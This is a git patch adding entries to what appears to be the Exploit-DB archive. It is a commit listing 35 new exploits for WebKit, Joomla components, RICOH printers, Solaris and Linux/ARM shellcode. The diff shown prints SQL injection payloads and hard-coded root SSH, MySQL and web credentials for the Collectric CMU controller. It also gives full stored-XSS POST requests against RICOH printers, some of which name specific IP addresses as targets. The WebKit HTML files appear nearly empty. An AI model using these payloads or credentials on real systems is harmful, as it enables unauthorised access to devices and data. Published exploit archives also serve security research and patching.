From 4e39fa0f913894d3ec22e14e64e1fd4fe5f31238 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 26 Sep 2018 05:02:43 +0000 Subject: [PATCH] DB: 2018-09-26 35 changes to exploits/shellcodes WebKit - 'WebCore::SVGAnimateElementBase::resetAnimatedType' Use-After-Free WebKit - 'WebCore::AXObjectCache::handleMenuItemSelected' Use-After-Free WebKit - 'WebCore::Node::ensureRareData' Use-After-Free WebKit - 'WebCore::InlineTextBox::paint' Out-of-Bounds Read WebKit - 'WebCore::RenderMultiColumnSet::updateMinimumColumnHeight' Use-After-Free WebKit - 'WebCore::SVGTRefElement::updateReferencedText' Use-After-Free WebKit - 'WebCore::RenderLayer::updateDescendantDependentFlags' Use-After-Free WebKit - 'WebCore::SVGTextLayoutAttributes::context' Use-After-Free WebKit - 'WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded' Use-After-Free Easy PhoroResQ 1.0 - Buffer Overflow Solaris - 'EXTREMEPARR' dtappgather Privilege Escalation (Metasploit) Faleemi Desktop Software 1.8.2 - 'Device alias' Local Buffer Overflow (SEH) Collectric CMU 1.0 - 'lang' SQL injection Collectric CMU 1.0 - 'lang' Hard-Coded Credentials / SQL injection RICOH MP C2003 Printer - Cross-Site Scripting Joomla! Component Dutch Auction Factory 2.0.2 - 'filter_order_Dir' SQL Injection Super Cms Blog Pro 1.0 - SQL Injection Joomla! Component Raffle Factory 3.5.2 - SQL Injection Joomla! Component Music Collection 3.0.3 - SQL Injection Joomla! Component Penny Auction Factory 2.0.4 - SQL Injection Joomla! Component Questions 1.4.3 - SQL Injection Joomla! Component Jobs Factory 2.0.4 - SQL Injection Joomla! Component Social Factory 3.8.3 - SQL Injection RICOH MP C6503 Plus Printer - Cross-Site Scripting Joomla Component eXtroForms 2.1.5 - 'filter_type_id' SQL Injection Joomla! Component Swap Factory 2.2.1 - SQL Injection Joomla! Component Collection Factory 4.1.9 - SQL Injection Joomla! Component Reverse Auction Factory 4.3.8 - SQL Injection Joomla! Component AlphaIndex Dictionaries 1.0 - SQL Injection Joomla! Component Article Factory Manager 4.3.9 - SQL Injection Joomla! Component Timetable Schedule 3.6.8 - SQL Injection RICOH MP 305+ Printer - Cross-Site Scripting RICOH MP C406Z Printer - Cross-Site Scripting Joomla! Component Responsive Portfolio 1.6.1 - 'filter_order_Dir' SQL Injection Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes) Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) + sigaction() Shellcode (52 Bytes) --- exploits/hardware/webapps/45446.txt | 32 +++- exploits/hardware/webapps/45461.txt | 31 ++++ exploits/hardware/webapps/45471.txt | 30 ++++ exploits/hardware/webapps/45487.txt | 30 ++++ exploits/hardware/webapps/45490.txt | 31 ++++ exploits/multiple/dos/45480.html | 166 +++++++++++++++++ exploits/multiple/dos/45481.html | 189 +++++++++++++++++++ exploits/multiple/dos/45482.html | 269 ++++++++++++++++++++++++++++ exploits/multiple/dos/45483.html | 179 ++++++++++++++++++ exploits/multiple/dos/45484.html | 224 +++++++++++++++++++++++ exploits/multiple/dos/45485.html | 214 ++++++++++++++++++++++ exploits/multiple/dos/45486.html | 178 ++++++++++++++++++ exploits/multiple/dos/45488.html | 204 +++++++++++++++++++++ exploits/multiple/dos/45489.html | 214 ++++++++++++++++++++++ exploits/php/webapps/45438.txt | 2 +- exploits/php/webapps/45439.txt | 2 +- exploits/php/webapps/45462.txt | 15 ++ exploits/php/webapps/45463.txt | 21 +++ exploits/php/webapps/45464.txt | 21 +++ exploits/php/webapps/45465.txt | 21 +++ exploits/php/webapps/45466.txt | 21 +++ exploits/php/webapps/45468.txt | 36 ++++ exploits/php/webapps/45469.txt | 23 +++ exploits/php/webapps/45470.txt | 21 +++ exploits/php/webapps/45472.txt | 77 ++++++++ exploits/php/webapps/45473.txt | 21 +++ exploits/php/webapps/45474.txt | 21 +++ exploits/php/webapps/45475.txt | 31 ++++ exploits/php/webapps/45476.txt | 45 +++++ exploits/php/webapps/45477.txt | 21 +++ exploits/php/webapps/45478.txt | 20 +++ exploits/php/webapps/45491.txt | 98 ++++++++++ exploits/solaris/local/45479.rb | 238 ++++++++++++++++++++++++ exploits/windows_x86/local/45467.py | 27 +++ exploits/windows_x86/local/45492.py | 51 ++++++ files_exploits.csv | 34 +++- files_shellcodes.csv | 2 +- 37 files changed, 2855 insertions(+), 5 deletions(-) create mode 100644 exploits/hardware/webapps/45461.txt create mode 100644 exploits/hardware/webapps/45471.txt create mode 100644 exploits/hardware/webapps/45487.txt create mode 100644 exploits/hardware/webapps/45490.txt create mode 100644 exploits/multiple/dos/45480.html create mode 100644 exploits/multiple/dos/45481.html create mode 100644 exploits/multiple/dos/45482.html create mode 100644 exploits/multiple/dos/45483.html create mode 100644 exploits/multiple/dos/45484.html create mode 100644 exploits/multiple/dos/45485.html create mode 100644 exploits/multiple/dos/45486.html create mode 100644 exploits/multiple/dos/45488.html create mode 100644 exploits/multiple/dos/45489.html create mode 100644 exploits/php/webapps/45462.txt create mode 100644 exploits/php/webapps/45463.txt create mode 100644 exploits/php/webapps/45464.txt create mode 100644 exploits/php/webapps/45465.txt create mode 100644 exploits/php/webapps/45466.txt create mode 100644 exploits/php/webapps/45468.txt create mode 100644 exploits/php/webapps/45469.txt create mode 100644 exploits/php/webapps/45470.txt create mode 100644 exploits/php/webapps/45472.txt create mode 100644 exploits/php/webapps/45473.txt create mode 100644 exploits/php/webapps/45474.txt create mode 100644 exploits/php/webapps/45475.txt create mode 100644 exploits/php/webapps/45476.txt create mode 100644 exploits/php/webapps/45477.txt create mode 100644 exploits/php/webapps/45478.txt create mode 100644 exploits/php/webapps/45491.txt create mode 100755 exploits/solaris/local/45479.rb create mode 100755 exploits/windows_x86/local/45467.py create mode 100755 exploits/windows_x86/local/45492.py diff --git a/exploits/hardware/webapps/45446.txt b/exploits/hardware/webapps/45446.txt index 7528a8932..715d20dea 100644 --- a/exploits/hardware/webapps/45446.txt +++ b/exploits/hardware/webapps/45446.txt @@ -20,4 +20,34 @@ Payload: username=yUqg&lang=SWEDISH' AND 1320=1320 AND 'EXAr'='EXAr&password=zhd # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 AND time-based blind -Payload: username=yUqg&lang=SWEDISH' AND SLEEP(5) AND 'kglV'='kglV&password=zhdY&setcookie=setcookie&submit=Logga in \ No newline at end of file +Payload: username=yUqg&lang=SWEDISH' AND SLEEP(5) AND 'kglV'='kglV&password=zhdY&setcookie=setcookie&submit=Logga in + + +# Exploit Title: Collectric CMU - Hard-coded SSH/MySQL/Web credentials. +# Discoverer: Simon Brannstrom +# Date: 09/15/2018 +# Vendor Homepage: http://ourenergy.se/ +# Software Link: n/a +# Version: All known versions +# Tested on: Linux +# About: Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface. +More vulnerabilities exists, see my other vulnerability reports. + +--- +Web Portal hard-coded credentials: +username: sysadmin +password: zoogin + +SSH user/root credentials: +username: kplc +password: kplc + +username: root +password: zoogin + +*The SSH server is running Dropbear sshd 0.52 (protocol 2.0) which requires diffie-hellman-group1-sha1. + +MySQL root credentials: +username: root +password: sql4u +--- \ No newline at end of file diff --git a/exploits/hardware/webapps/45461.txt b/exploits/hardware/webapps/45461.txt new file mode 100644 index 000000000..c623f904b --- /dev/null +++ b/exploits/hardware/webapps/45461.txt @@ -0,0 +1,31 @@ +# Exploit Title: RICOH MP C2003 Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link : https://www.ricoh.ca/en/products/pd/mp-c2003-color-laser-multifunction-printer/_/R-240-417253 +# Software : RICOH Printer +# Product Version: MP C2003 +# Vulernability Type : Code Injection +# Vulenrability : HTML Injection and Stored XSS +# CVE : N/A + +# On the MP C2003 printer, HTML Injection and Stored XSS vulnerabilities have been discovered in +# the area of adding addresses via the entryNameIn parameter +# to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: 134.96.209.202 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://134.96.209.202/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 193 +Cookie: risessionid=028553667951828; cookieOnOffChecker=on; wimsesid=552487526 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=1581082599&entryIndexIn=00005&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/45471.txt b/exploits/hardware/webapps/45471.txt new file mode 100644 index 000000000..e425bc6cb --- /dev/null +++ b/exploits/hardware/webapps/45471.txt @@ -0,0 +1,30 @@ +# Exploit Title: RICOH MP C6503 Plus Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c6503-plus-color-laser-multifunction-printer/_/R-SIG-C6503-PLU-SET +# Software: RICOH Printer +# Product Version: MP C6503 Plus +# Vulernability Type: Code Injection +# Vulenrability: HTML Injection and Stored XSS +# CVE: N/A + +# On the RICOH MP C6503 Plus printer, HTML Injection and Stored XSS vulnerabilities have been discovered +# in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: Target +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://Target/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 192 +Cookie: risessionid=186737374338492; cookieOnOffChecker=on; wimsesid=205216910 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=278155990&entryIndexIn=00018&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/45487.txt b/exploits/hardware/webapps/45487.txt new file mode 100644 index 000000000..64a0c9366 --- /dev/null +++ b/exploits/hardware/webapps/45487.txt @@ -0,0 +1,30 @@ +# Exploit Title: RICOH MP 305+ Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/all-in-one-printers/mp-305sp.html +# Software: RICOH Printer +# Product Version: MP 305+ +# Vulernability Type: Code Injection +# Vulenrability: HTML Injection and Stored XSS +# CVE: + +# On the RICOH Aficio MP 305+ printer, HTML Injection and Stored XSS vulnerabilities have been discovered +# in the area of adding addresses via the entryNameIn parameter to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: Target +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://Target/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 193 +Cookie: risessionid=125043496912702; cookieOnOffChecker=on; wimsesid=182442825 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=2128826648&entryIndexIn=00002&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/hardware/webapps/45490.txt b/exploits/hardware/webapps/45490.txt new file mode 100644 index 000000000..c1b8915f5 --- /dev/null +++ b/exploits/hardware/webapps/45490.txt @@ -0,0 +1,31 @@ +# Exploit Title: RICOH MP C406Z Printer - Cross-Site Scripting +# Date: 2018-09-21 +# Exploit Author: Ismail Tasdelen +# Vendor Homepage: https://www.ricoh.com/ +# Hardware Link: https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c406-color-laser-multifunction-printer/_/R-417322 +# Software: RICOH Printer +# Product Version: MP C406Z +# Vulernability Type: Code Injection +# Vulenrability: HTML Injection and Stored XSS +# CVE: N/A + +# On the RICOH MP C406Z printer, HTML Injection and Stored XSS vulnerabilities have been discovered +# in the area of adding addresses via the entryNameIn parameter +# to /web/entry/en/address/adrsSetUserWizard.cgi. + +# HTTP POST Request : + +POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 +Host: 129.24.200.133 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 +Accept: text/plain, */* +Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://129.24.200.133/web/entry/en/address/adrsList.cgi +Content-Type: application/x-www-form-urlencoded; charset=UTF-8 +X-Requested-With: XMLHttpRequest +Content-Length: 193 +Cookie: risessionid=025838330540046; cookieOnOffChecker=on; wimsesid=655124944 +Connection: close + +mode=ADDUSER&step=BASE&wimToken=2029349348&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 \ No newline at end of file diff --git a/exploits/multiple/dos/45480.html b/exploits/multiple/dos/45480.html new file mode 100644 index 000000000..e50c9e05c --- /dev/null +++ b/exploits/multiple/dos/45480.html @@ -0,0 +1,166 @@ + + + +
+ +
+ + + + + +
+
+ + \ No newline at end of file diff --git a/exploits/multiple/dos/45481.html b/exploits/multiple/dos/45481.html new file mode 100644 index 000000000..370ec1e92 --- /dev/null +++ b/exploits/multiple/dos/45481.html @@ -0,0 +1,189 @@ + + + + + +